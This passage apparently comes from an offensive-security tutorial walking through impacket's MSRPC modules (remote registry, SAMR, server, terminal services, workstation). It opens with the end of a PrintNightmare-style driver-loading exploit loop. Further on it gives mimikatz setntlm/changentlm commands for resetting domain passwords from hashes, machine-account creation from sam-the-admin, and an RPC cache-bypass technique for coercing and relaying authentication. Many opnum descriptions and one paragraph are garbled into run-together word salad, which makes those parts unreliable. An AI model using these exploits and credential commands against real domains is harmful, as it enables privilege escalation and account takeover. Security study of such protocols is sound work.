    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
    print("[*] Stage0: {0}".format(resp['ErrorCode']))

    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\kernelbase.dll\x00"
    for i in range(1, 30):
        try:
            container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
            resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
            print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
            if (resp['ErrorCode'] == 0):
                print("[+] Exploit Completed")
                sys.exit()
        except Exception as e:
            #print(e)
            pass

[MS-RRP] rrp.py — Remote Registry Operations (reg.py foundation)

The Windows Remote Registry Protocol is a client/server protocol based on RPC, used to remotely administer hierarchical data stores such as the Windows registry. The protocol is exercised by examples/reg.py — a remote-registry tool over the MSRPC interface aiming to mirror Windows' reg.exe.

The module implements the following methods:

OPNUMS = {
 0 : (OpenClassesRoot, OpenClassesRootResponse),Called by the client. In response, the serveropensHKEY_CLASSES_ROOT
 1 : (OpenCurrentUser, OpenCurrentUserResponse),Called by the client. In response, the serveropens HKEY_CURRENT_USER handleservermust HKEY_USERS HKEY_CURRENT_USER
 2 : (OpenLocalMachine, OpenLocalMachineResponse),Called by the client. In response, the serveropensHKEY_LOCAL_MACHINEregistryhandle
 3 : (OpenPerformanceData, OpenPerformanceDataResponse),Called by the client. In response, the serveropensHKEY_PERFORMANCE_DATA handleHKEY_PERFORMANCE_DATA used forBaseRegQueryInfoKey BaseRegQueryValueBaseRegEnumValueBaseRegCloseKey methodregistryserverretrievesinformation
 4 : (OpenUsers, OpenUsersResponse),Called by the client. In response, the serveropensHKEY_USERSregistryhandle
 5 : (BaseRegCloseKey, BaseRegCloseKeyResponse),Called by the client. In response, the serverclosesspecifiedregistryhandle
 6 : (BaseRegCreateKey, BaseRegCreateKeyResponse),Called by the client. In response, the servercreates the specifiedregistryreturnsregistryhandleifregistryinregistrythenopensreturnshandle
 7 : (BaseRegDeleteKey, BaseRegDeleteKeyResponse),Called by the client. In response, the serverdeletes the specified
 8 : (BaseRegDeleteValue, BaseRegDeleteValueResponse),Called by the client. In response, the serverspecifiedregistrydeletes
 9 : (BaseRegEnumKey, BaseRegEnumKeyResponse),enumeratesasserverreturns
10 : (BaseRegEnumValue, BaseRegEnumValueResponse),Called by the client. In response, the serverenumeratesspecifiedregistryspecified
11 : (BaseRegFlushKey, BaseRegFlushKeyResponse),Called by the client. In response, the serverhKeyall entryregistry
12 : (BaseRegGetKeySecurity, BaseRegGetKeySecurityResponse),Called by the client. In response, the serverreturnsspecifiedopensregistry
13 : (BaseRegLoadKey, BaseRegLoadKeyResponse),Called by the client. In response, the server entryregistry
 15 : (BaseRegOpenKey, BaseRegOpenKeyResponse),Called by the client. In response, the serveropens the specifiedregistryreturns ahandle
 16 : (BaseRegQueryInfoKey, BaseRegQueryInfoKeyResponse),Called by the client. In response, the serverreturns the specifiedregistryhandleinformation
17 : (BaseRegQueryValue, BaseRegQueryValueResponse),Called by the client. In response, the serverreturnswithspecifiedregistryopensifspecifiednamethenserverreturnswithspecifiedregistry opens
 18 : (BaseRegReplaceKey, BaseRegReplaceKeyResponse),
19 : (BaseRegRestoreKey, BaseRegRestoreKeyResponse),serverspecifiedregistryinformationspecifiedonregistryinformation
20 : (BaseRegSaveKey, BaseRegSaveKeyResponse),serverspecified
21 : (BaseRegSetKeySecurity, BaseRegSetKeySecurityResponse),serversetsspecifiedregistry
22 : (BaseRegSetValue, BaseRegSetValueResponse),serverasregistryspecifiedsets
 23 : (BaseRegUnLoadKey, BaseRegUnLoadKeyResponse),serverregistryasspecifiedgroup

BaseRegUnLoadKey
26 : (BaseRegGetVersion, BaseRegGetVersionResponse),serverreturns serverclientserver BaseRegGetVersion method toregistryserver 32 64
27 : (OpenCurrentConfig, OpenCurrentConfigResponse),serveropensHKEY_CURRENT_CONFIG handle
29 : (BaseRegQueryMultipleValues, BaseRegQueryMultipleValuesResponse),serverreturnswithspecifiedregistryclientspecifiednamelist
31 : (BaseRegSaveKeyEx, BaseRegSaveKeyExResponse),serverspecifiedBaseRegSaveKeyEx methodor
32 : (OpenPerformanceText, OpenPerformanceTextResponse),serveropensHKEY_PERFORMANCE_TEXT handleHKEY_PERFORMANCE_TEXTused forBaseRegQueryInfoKey BaseRegQueryValueBaseRegEnumValueBaseRegCloseKey methodregistryserverretrievesinformation
33 : (OpenPerformanceNlsText, OpenPerformanceNlsTextResponse),serveropensHKEY_PERFORMANCE_NLSTEXT handleHKEY_PERFORMANCE_NLSTEXT used forBaseRegQueryInfoKey BaseRegQueryValueBaseRegEnumValueBaseRegCloseKey methodregistryserverretrievesinformation
34 : (BaseRegQueryMultipleValues2, BaseRegQueryMultipleValues2Response),serverreturnswithspecifiedregistryclientspecifiednamelist
 35 : (BaseRegDeleteKeyEx, BaseRegDeleteKeyExResponse),serverdeletes the specifiedregistry
}

A supplementary note on BaseRegUnLoadKey: it is designed for backup/restore scenarios — the client first loads a registry hive from disk with BaseRegLoadKey, reads/writes data, then unloads it with BaseRegUnLoadKey. For example, a backup application may load another user's hive (their HKEY_CURRENT_USER), read its keys and values, then unload it.

examples/reg.py implements remote registry CRUD via the rrp module's methods:

# eg./examples/reg.py
def query(self, dce, keyName):
        # (1) split root key and subkey: HKLM/HKU/HKCR map to different predefined key handles
        try:
            rootKey = keyName.split('\\')[0]
            subKey = '\\'.join(keyName.split('\\')[1:])
        except Exception:
            raise Exception('Error parsing keyName %s' % keyName)

        if rootKey.upper() == 'HKLM':
            ans = rrp.hOpenLocalMachine(dce)
        elif rootKey.upper() == 'HKU':
            ans = rrp.hOpenCurrentUser(dce)
        elif rootKey.upper() == 'HKCR':
            ans = rrp.hOpenClassesRoot(dce)
        else:
            raise Exception('Invalid root key %s ' % rootKey)

        hRootKey = ans['phKey']

        # (2) open the subkey -> query values / enumerate subkeys / recursive walk (output logic of -v/-ve/-s omitted)
        ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
        ......

        if self.__options.v:
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
            ......

        elif self.__options.s:
            self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
        else:
            self.__print_key_values(dce, ans2['phkResult'])
            i = 0
            while True:
                try:
                    # (3) loop hBaseRegEnumKey to enumerate all subkeys until an exception is raised
                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
                    print(keyName + '\\' + key['lpNameOut'][:-1])
                    i += 1
                except Exception:
                    break

[MS-SAMR] samr.py — SAM Account Management (users / groups / passwords)

The Security Account Manager (SAM) Remote Protocol (client-to-server) provides management functions for account stores or directories containing users and groups.

Simply put, it gives you the ability to manage server accounts and passwords remotely over RPC.

First let's see which interface methods impacket implements:

OPNUMS = {
 0 : (SamrConnect, SamrConnectResponse),returnsserverobjecthandle
 1 : (SamrCloseHandle, SamrCloseHandleResponse),closesreleasesserverthis RPC onhandle
 2 : (SamrSetSecurityObject, SamrSetSecurityObjectResponse),setsserverdomainusergrouporobject
 3 : (SamrQuerySecurityObject, SamrQuerySecurityObjectResponse),queriesserverdomainusergrouporobject
 5 : (SamrLookupDomainInSamServer, SamrLookupDomainInSamServerResponse),inobjectnameobtainsdomainobjectSID
 6 : (SamrEnumerateDomainsInSamServer, SamrEnumerateDomainsInSamServerResponse),obtainstheserveralldomainlist
 7 : (SamrOpenDomain, SamrOpenDomainResponse),inSIDobtainsdomainobjecthandle
 8 : (SamrQueryInformationDomain, SamrQueryInformationDomainResponse),
 9 : (SamrSetInformationDomain, SamrSetInformationDomainResponse),
10 : (SamrCreateGroupInDomain, SamrCreateGroupInDomainResponse),indomaincreates agroupobject
11 : (SamrEnumerateGroupsInDomain, SamrEnumerateGroupsInDomainResponse),enumeratesallgroup
12 : (SamrCreateUserInDomain, SamrCreateUserInDomainResponse),creates auser
13 : (SamrEnumerateUsersInDomain, SamrEnumerateUsersInDomainResponse),enumeratesalluser
14 : (SamrCreateAliasInDomain, SamrCreateAliasInDomainResponse),
15 : (SamrEnumerateAliasesInDomain, SamrEnumerateAliasesInDomainResponse),enumeratesall
16 : (SamrGetAliasMembership, SamrGetAliasMembershipResponse),obtainsSIDall
17 : (SamrLookupNamesInDomain, SamrLookupNamesInDomainResponse),
18 : (SamrLookupIdsInDomain, SamrLookupIdsInDomainResponse),
19 : (SamrOpenGroup, SamrOpenGroupResponse),
20 : (SamrQueryInformationGroup, SamrQueryInformationGroupResponse),
21 : (SamrSetInformationGroup, SamrSetInformationGroupResponse),
22 : (SamrAddMemberToGroup, SamrAddMemberToGroupResponse),
23 : (SamrDeleteGroup, SamrDeleteGroupResponse),deletes agroupobject
24 : (SamrRemoveMemberFromGroup, SamrRemoveMemberFromGroupResponse),
25 : (SamrGetMembersInGroup, SamrGetMembersInGroupResponse),
26 : (SamrSetMemberAttributesOfGroup, SamrSetMemberAttributesOfGroupResponse),sets
27 : (SamrOpenAlias, SamrOpenAliasResponse),
28 : (SamrQueryInformationAlias, SamrQueryInformationAliasResponse),
29 : (SamrSetInformationAlias, SamrSetInformationAliasResponse),
30 : (SamrDeleteAlias, SamrDeleteAliasResponse),deletesobject
31 : (SamrAddMemberToAlias, SamrAddMemberToAliasResponse),
32 : (SamrRemoveMemberFromAlias, SamrRemoveMemberFromAliasResponse),
33 : (SamrGetMembersInAlias, SamrGetMembersInAliasResponse),obtainslist
34 : (SamrOpenUser, SamrOpenUserResponse),
35 : (SamrDeleteUser, SamrDeleteUserResponse),deletesuserobject
36 : (SamrQueryInformationUser, SamrQueryInformationUserResponse),
37 : (SamrSetInformationUser, SamrSetInformationUserResponse),
38 : (SamrChangePasswordUser, SamrChangePasswordUserResponse),
39 : (SamrGetGroupsForUser, SamrGetGroupsForUserResponse),obtainsusergrouplist
40 : (SamrQueryDisplayInformation, SamrQueryDisplayInformationResponse),
41 : (SamrGetDisplayEnumerationIndex, SamrGetDisplayEnumerationIndexResponse),obtainslist
44 : (SamrGetUserDomainPasswordInformation, SamrGetUserDomainPasswordInformationResponse),obtainspasswordpolicyinformationnotdomainhandle
45 : (SamrRemoveMemberFromForeignDomain, SamrRemoveMemberFromForeignDomainResponse),
46 : (SamrQueryInformationDomain2, SamrQueryInformationDomain2Response),
47 : (SamrQueryInformationUser2, SamrQueryInformationUser2Response),
48 : (SamrQueryDisplayInformation2, SamrQueryDisplayInformation2Response),
49 : (SamrGetDisplayEnumerationIndex2, SamrGetDisplayEnumerationIndex2Response),obtainslistwithclientlist
50 : (SamrCreateUser2InDomain, SamrCreateUser2InDomainResponse),creates auser
51 : (SamrQueryDisplayInformation3, SamrQueryDisplayInformation3Response),
52 : (SamrAddMultipleMembersToAlias, SamrAddMultipleMembersToAliasResponse),
53 : (SamrRemoveMultipleMembersFromAlias, SamrRemoveMultipleMembersFromAliasResponse),
54 : (SamrOemChangePasswordUser2, SamrOemChangePasswordUser2Response),
55 : (SamrUnicodeChangePasswordUser2, SamrUnicodeChangePasswordUser2Response),
56 : (SamrGetDomainPasswordInformation, SamrGetDomainPasswordInformationResponse),obtainspasswordpolicyinformationserver
57 : (SamrConnect2, SamrConnect2Response),returnsserverobjecthandle
58 : (SamrSetInformationUser2, SamrSetInformationUser2Response),
62 : (SamrConnect4, SamrConnect4Response),obtainsserverobjecthandle
64 : (SamrConnect5, SamrConnect5Response),obtainsserverobjecthandle
65 : (SamrRidToSid, SamrRidToSidResponse),inRID obtainsSID
66 : (SamrSetDSRMPassword, SamrSetDSRMPasswordResponse),setspassword
67 : (SamrValidatePassword, SamrValidatePasswordResponse),
}

The interface is packed with user-oriented operations. A simple example: examples/secretsdump.py connects to the samr interface via hSamrConnect, queries the domain SID, opens a domain handle, then lists domain users via hSamrEnumerateUsersInDomain:

# eg.examples/secretsdump.py

    def connectSamr(self, domain):
        # handle chain: SAMR connect -> server handle -> domain SID lookup -> domain handle
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
        rpc.set_smb_connection(self.__smbConnection)
        self.__samr = rpc.get_dce_rpc()
        self.__samr.connect()
        self.__samr.bind(samr.MSRPC_UUID_SAMR)
        resp = samr.hSamrConnect(self.__samr)                        # (1) server handle
        serverHandle = resp['ServerHandle']

        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
        self.__domainSid = resp['DomainId'].formatCanonical()        # (2) domain SID

        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
        self.__domainHandle = resp['DomainHandle']                    # (3) domain handle
        self.__domainName = domain


 def getDomainUsers(self, enumerationContext=0):
        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])

        # filter by account type (normal user / workstation / server / interdomain trust accounts)
        try:
            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \
                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \
                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\
                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
                                                    enumerationContext=enumerationContext)
        except DCERPCException as e:
            # STATUS_MORE_ENTRIES means another page follows; pull the current page from the exception packet and keep iterating
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
            resp = e.get_packet()
        return resp

With only a user's hash and no plaintext, there are two ways to access the target: SetNTLM — reset the user's password to a known value, log in, then restore it; ChangeNTLM — change the password, log in, then restore it.

ChangeNTLM calls SamrChangePasswordUser and requires the Change Password right on the target user — a right effectively held by Everyone, so anyone with the user's hash/password can change it.

SetNTLM resets the password via SamrSetInformationUser and requires the Reset Password right over the target user.

Because ChangeNTLM is heavily constrained by password policy (complexity, history), SetNTLM is the practical choice.

# SetNTLM
# modifiespassword
lsadump::setntlm /server:<DC's_IP_or_FQDN> /user:<username> /password:<new_password>
# password
lsadump::setntlm /server:<DC's_IP_or_FQDN> /user:<username> /ntlm:<Original_Hash>
# ChangeNTLM
# modifiespassword
lsadump::changentlm /server:<DC's_IP_or_FQDN> /user:<username> /old:<current_hash> /newpassword:<newpassword>
# password
lsadump::changentlm /server:<DC's_IP_or_FQDN> /user:<username> /oldpassword:<current_password_plain_text> /new:<original_hash>

The addcomputer used by sam-the-admin likewise goes through samr's SamrCreateUser2InDomain:

# eg./sam-the-admin/blob/main/utils/addcomputer.py
                try:
                    createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
                except samr.DCERPCSessionError as e:
                    if e.error_code == 0xc0000022:
                        raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
                    elif e.error_code == 0xc00002e7:
                        raise Exception("User %s machine quota exceeded!" % self.__username)
                    else:
                        raise

                userHandle = createUser['UserHandle']

[MS-SRVS] srvs.py — Server Service (share / session management)

The Server Service Remote Protocol remotely enables file and printer sharing over SMB, provides access to the server's named pipes, and administers servers running Windows. Simply put, MS-SRVS provides remote file-server management over SMB named pipes (riding on MS-SMB2).

First let's see which interface methods the module implements:

OPNUMS = {
 8 : (NetrConnectionEnum, NetrConnectionEnumResponse),
 9 : (NetrFileEnum, NetrFileEnumResponse),
10 : (NetrFileGetInfo, NetrFileGetInfoResponse),retrievesserverinformation
11 : (NetrFileClose, NetrFileCloseResponse),serverin RPC_REQUEST NetrFileClose methodasservermustclosesserveronopensor
12 : (NetrSessionEnum, NetrSessionEnumResponse),returns information aboutinserveronsessioninformation
13 : (NetrSessionDel, NetrSessionDelResponse),
14 : (NetrShareAdd, NetrShareAddResponse),shareserver
15 : (NetrShareEnum, NetrShareEnumResponse),retrievesserveronshareinformation
16 : (NetrShareGetInfo, NetrShareGetInfoResponse),
17 : (NetrShareSetInfo, NetrShareSetInfoResponse),in ShareList setsshare
18 : (NetrShareDel, NetrShareDelResponse),
19 : (NetrShareDelSticky, NetrShareDelStickyResponse),
20 : (NetrShareCheck, NetrShareCheckResponse),
21 : (NetrServerGetInfo, NetrServerGetInfoResponse),retrieves CIFS SMB 1.0 servercurrentinformation
22 : (NetrServerSetInfo, NetrServerSetInfoResponse),as CIFS SMB 1.0 serversetsservercanorsetsinformationin
 23 : (NetrServerDiskEnum, NetrServerDiskEnumResponse),retrievesserverondriverlistthemethodreturns agroupgroupdriver
24 : (NetrServerStatisticsGet, NetrServerStatisticsGetResponse),retrievesinformation
25 : (NetrServerTransportAdd, NetrServerTransportAddResponse),
26 : (NetrServerTransportEnum, NetrServerTransportEnumResponse),enumeratesserverinTransportListinformation
27 : (NetrServerTransportDel, NetrServerTransportDelResponse),
28 : (NetrRemoteTOD, NetrRemoteTODResponse),returnsserveroninformation
30 : (NetprPathType, NetprPathTypeResponse),
31 : (NetprPathCanonicalize, NetprPathCanonicalizeResponse),
32 : (NetprPathCompare, NetprPathCompareResponse),
33 : (NetprNameValidate, NetprNameValidateResponse),
34 : (NetprNameCanonicalize, NetprNameCanonicalizeResponse),
35 : (NetprNameCompare, NetprNameCompareResponse),
36 : (NetrShareEnumSticky, NetrShareEnumStickyResponse),retrieves IsPersistent setsin ShareList setsshareinformation
37 : (NetrShareDelStart, NetrShareDelStartResponse),
38 : (NetrShareDelCommit, NetrShareDelCommitResponse),
39 : (NetrpGetFileSecurity, NetrpGetFileSecurityResponse),
40 : (NetrpSetFileSecurity, NetrpSetFileSecurityResponse),setsor
41 : (NetrServerTransportAddEx, NetrServerTransportAddExResponse),
43 : (NetrDfsGetVersion, NetrDfsGetVersionResponse),
44 : (NetrDfsCreateLocalPartition, NetrDfsCreateLocalPartitionResponse),
45 : (NetrDfsDeleteLocalPartition, NetrDfsDeleteLocalPartitionResponse),deletesserveronDFS share
46 : (NetrDfsSetLocalVolumeState, NetrDfsSetLocalVolumeStateResponse),
48 : (NetrDfsCreateExitPoint, NetrDfsCreateExitPointResponse),inserveroncreates aDFS
49 : (NetrDfsDeleteExitPoint, NetrDfsDeleteExitPointResponse),deletesserveronDFS
50 : (NetrDfsModifyPrefix, NetrDfsModifyPrefixResponse),
51 : (NetrDfsFixLocalVolume, NetrDfsFixLocalVolumeResponse),
52 : (NetrDfsManagerReportSiteInfo, NetrDfsManagerReportSiteInfoResponse),obtainsthespecifiedserver Active Directory
53 : (NetrServerTransportDelEx, NetrServerTransportDelExResponse),serverin RPC_REQUEST NetrServerTransportDelEx methodasserverserverorifthismethodserver specified TCP or XNSwithclient
54 : (NetrServerAliasAdd, NetrServerAliasAddResponse),
55 : (NetrServerAliasEnum, NetrServerAliasEnumResponse),
56 : (NetrServerAliasDel, NetrServerAliasDelResponse),
57 : (NetrShareDelEx, NetrShareDelExResponse),
}

Both smbclient and smbconnection use srvs to obtain share information from a target:

# eg./impacket/smbconnection.py
 def listShares(self):
        """
        get a list of available shares at the connected target
        :return: a list containing dict entries for each share
        :raise SessionError: if error
        """
        # Get the shares through RPC
        from impacket.dcerpc.v5 import transport, srvs
        rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc',
                                              smb_connection=self)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareEnum(dce, 1)
        return resp['InfoStruct']['ShareInfo']['Level1']['Buffer']

# eg./examples/smbclient.py
    def do_info(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)

        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])

Cold Hard Cache — Bypassing RPC Interface Security with Cache Abuse

Security callbacks let RPC server developers restrict access to an RPC interface: apply custom logic for per-user access, enforce authentication or transport types, or block specific opnums (opnums denote the functions a server exposes — operation numbers). The RPC runtime fires the callback on every client call to an exposed function.

RPC security callback

The RPC runtime caches security-callback results for performance. In essence, before invoking the callback the runtime tries a cache entry. Let's dig into that implementation.

Before RPC_INTERFACE::DoSyncSecurityCallback calls the callback, it first checks for a cache entry, via OSF_SCALL::FindOrCreateCacheEntry.

OSF_SCALL::FindOrCreateCacheEntry does the following:

  • It gets the client's security context from the SCALL (the object representing a client call).
  • It gets the cache dictionary from that security context.
  • It keys the dictionary by interface pointer; the values are cache entries.
  • If no cache entry exists, it creates one.

For the cache to work, both server and client must register and set authentication information.

SSPI multiplexing

While registering authentication information, the server must specify the authentication service — a security support provider (SSP), the package that handles client authentication data. Most often this is the NTLM SSP, the Kerberos SSP, or Microsoft Negotiate SSP which picks the best of Kerberos/NTLM.

The RPC runtime stores authentication information globally. That means if two RPC servers share a process and one registers authentication information, the other effectively has it too, and clients can authenticate their bindings when accessing either server.

The srvsvc security callback implements the following logic:

  • Deny remote clients access to functions in the range 64-73 (inclusive)
  • Deny remote clients that are not cluster accounts access to functions in the range 58-63 (inclusive)

So remote clients are blocked from those specific functions; the range check hints these functions are sensitive and intended only for local callers.

Despite the check, a remote attacker can bypass it by abusing the cache. First the attacker calls a function outside the restricted range — one remotely available. The security callback returns RPC_S_OK and the runtime caches the success. Because the interface was not registered with RPC_IF_SEC_CACHE_PER_PROC, the cache is per-interface: the next time the attacker calls any function on that interface, the cached entry is used and access is granted — the attacker can now call functions they should not be able to, and the security callback is never invoked again.

Srvsvc does not register authentication information, so normally clients cannot authenticate the binding and the cache cannot engage. But when the machine has less than 3.5 GB of RAM, srvsvc shares its svchost process with other services — and "AD Harvest Sites and Subnets Service" and "Remote Desktop Configuration Service" do register authentication information, making srvsvc vulnerable to the cache attack.

In this specific case the attacker reaches the restricted opnums 58-74; one thing they can do with those functions is coerce remote machine authentication.

WksSvc exposes the MS-WKST interface. The service manages domain membership, computer names and connections to the SMB network redirector, such as SMB print servers. Looking at the interface's security callback, several functions are treated differently: functions with opnums 8-11 are meant for local clients only — remote calls are not allowed. But thanks to the cache, an attacker first calls a different remotely-allowed function, then one of the restricted ones; the first call's cached result lets the "local-only" function be invoked remotely.

 RPC servertheall RPC intheallonthisifgroupas LRPC not LRPC ——canas RPC serverinor

withonhandlenotinnotthenotnotserverallcanintheallonifisinoncanon

asinoninthe

The exposed functions include NetrUseAdd, NetrUseGetInfo, NetrUseDel and NetrUseEnum. We can pass flags to NetrUseAdd telling it to create the mapping in the "global" drive namespace, affecting all users. The flags can be found in the header LMUse.h:

Global mapping flag as seen in LMUse.h

This yields two attack scenarios:

  1. We can request authentication against our own share, then relay it to another server (NTLM relay), or store the token and crack the password offline.

  2. Or we can masquerade as an existing file server (or pose as a new one) with interesting or useful files. Since we control those files, we can weaponize them as we see fit, hoping they lead us to the target users.

The RPC server under WksSvc itself performs no authentication registration. Running standalone, client authentication is impossible (error RPC_S_UNKNOWN_AUTHN_SERVICE). So the service must run alongside others to abuse SSPI multiplexing at the same time. That limits affected Windows versions to pre-1703 Windows 10, or newer builds running with less than 3.5 GB of RAM.

PoC: https://github.com/akamai/akamai-security-research/tree/main/PoCs/cve-2022-38034

[MS-TSTS] tsts.py — Terminal Services Session Management

The Terminal Services Terminal Server Runtime interface protocol — an RPC-based protocol for remotely querying and configuring aspects of a terminal server.

The module provides no opnum enumeration; combining the Windows manuals with the source, it implements both the client and server sides of the local session management server (\TermSrv):

3.3.4.1.1 RpcOpenSession (Opnum 0)returnsserver onspecifiedsessionhandlethismethodnot
3.3.4.1.2 RpcCloseSession (Opnum 1)closeswithserveronspecifiedsessionthismethodmustinRpcOpenSessionifinthenmustthemethodthentheasthismethodnot
3.3.4.1.3 RpcConnectOpnum 2 RpcOpenSession returnssessionhandle serveronspecifiedsession
3.3.4.1.4 RpcDisconnect (Opnum 3)serveronspecifiedsession
3.3.4.1.5 RpcLogoffOpnum 4serveronspecifiedsession
3.3.4.1.6 RpcGetUserName (Opnum 5)obtainsserver onspecifiedsessionuseruserrealm
3.3.4.1.7 RpcGetTerminalName (Opnum 6)obtainswithserveronspecifiedsessionname
3.3.4.1.8 RpcGetState (Opnum 7)obtainsserveronspecifiedsession
3.3.4.1.9 RpcIsSessionDesktopLocked (Opnum 8)serveronspecifiedsession
3.3.4.1.10 RpcShowMessageBox (Opnum 9)inserveronusersessionspecified
3.3.4.1.11 RpcGetTimes (Opnum 10)obtainsserveronspecifiedsession
3.3.4.1.12 RpcGetSessionCounters (Opnum 11)returnswithserverthismethodnot
3.3.4.1.13 RpcGetSessionInformationOpnum 12retrievesinserveronspecifiedsessioninformationmustsession WINSTATION_QUERY
3.3.4.1.14 RpcGetLoggedOnCount (Opnum 15)obtainsusersessionthismethodnot
3.3.4.1.15 RpcGetSessionType (Opnum 16)obtainswithspecifiedsessionthismethodnot
3.3.4.1.16 RpcGetSessionInformationEx (Opnum 17)retrievesinserveronspecifiedsessioninformationmustsession WINSTATION_QUERY
.........

The practical consumer is /examples/tstool.py:

#
# qwinstasessioninformation
#tasklistcurrentinlist
# taskkill ID (PID) orname
# tsconusersessionsession
# tsdisconsession
# tslogoffsession
# shutdownclosesor/
# msgsession (MSGBOX)

[MS-WKST] wkst.py — Workstation Service (logged-on user enumeration)

The Workstation Service Remote Protocol remotely queries and configures certain aspects of the SMB redirector on a remote machine. The official description is vague, so let's go straight to the interface methods the module implements.

OPNUMS = {
 0 : (NetrWkstaGetInfo, NetrWkstaGetInfoResponse),returns information aboutinformationincludingname
 1 : (NetrWkstaSetInfo, NetrWkstaSetInfoResponse),
 2 : (NetrWkstaUserEnum, NetrWkstaUserEnumResponse),returns information aboutcurrentinonuserinformation
 5 : (NetrWkstaTransportEnum, NetrWkstaTransportEnumResponse),
 6 : (NetrWkstaTransportAdd, NetrWkstaTransportAddResponse),
# 7 : (NetrWkstaTransportDel, NetrWkstaTransportDelResponse),
 8 : (NetrUseAdd, NetrUseAddResponse),inserver SMB serverservernotthismethod
 9 : (NetrUseGetInfo, NetrUseGetInfoResponse),
10 : (NetrUseDel, NetrUseDelResponse),
11 : (NetrUseEnum, NetrUseEnumResponse),
13 : (NetrWorkstationStatisticsGet, NetrWorkstationStatisticsGetResponse),returns information aboutonSMB information
20 : (NetrGetJoinInformation, NetrGetJoinInformationResponse),retrievesspecified entrygroupordomaininformation
22 : (NetrJoinDomain2, NetrJoinDomain2Response),
23 : (NetrUnjoinDomain2, NetrUnjoinDomain2Response),
24 : (NetrRenameMachineInDomain2, NetrRenameMachineInDomain2Response),
25 : (NetrValidateName2, NetrValidateName2Response),
26 : (NetrGetJoinableOUs2, NetrGetJoinableOUs2Response),returns agroup (OU)listusercaninobject
27 : (NetrAddAlternateComputerName, NetrAddAlternateComputerNameResponse),asspecifiedserveraddsname
28 : (NetrRemoveAlternateComputerName, NetrRemoveAlternateComputerNameResponse),deletes the specifiedservername
29 : (NetrSetPrimaryComputerName, NetrSetPrimaryComputerNameResponse),setsspecifiedservername
 30 : (NetrEnumerateComputerNames, NetrEnumerateComputerNamesResponse), returns the specifiedservernamelistqueriesname
}

examples/netview.py uses the interface's hNetrWkstaUserEnum to enumerate currently logged-on users:

def getLoggedIn(self, target):
        if self.__targets[target]['Admin'] is False:
            return

        if self.__targets[target]['WKST'] is None:
            stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target
            rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)
            if hasattr(rpctransportWkst, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
                                                 self.__nthash, self.__aesKey)
                rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)

            dce = rpctransportWkst.get_dce_rpc()
            dce.connect()
            dce.bind(wkst.MSRPC_UUID_WKST)
            self.__maxConnections -= 1
        else:
            dce = self.__targets[target]['WKST']

        try:
            resp = wkst.hNetrWkstaUserEnum(dce,1)
        except Exception as e:
            if str(e).find('Broken pipe') >= 0:
                # The connection timed-out. Let's try to bring it back next round
                self.__targets[target]['WKST'] = None
                self.__maxConnections += 1
                return
            elif str(e).upper().find('ACCESS_DENIED'):
                # We're not admin, bye
                dce.disconnect()
                self.__maxConnections += 1
                self.__targets[target]['Admin'] = False
                return
            else:
                raise

examples/secretsdump.py uses it to fetch computer information:

    def getMachineNameAndDomain(self):
        if self.__smbConnection.getServerName() == '':
            # No serverName.. this is either because we're doing Kerberos
            # or not receiving that data during the login process.
            # Let's try getting it through RPC
            rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\wkssvc]' % self.__smbConnection.getRemoteHost())
            rpc.set_smb_connection(self.__smbConnection)
            dce = rpc.get_dce_rpc()
            dce.connect()
            dce.bind(wkst.MSRPC_UUID_WKST)
            resp = wkst.hNetrWkstaGetInfo(dce, 100)
            dce.disconnect()
            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
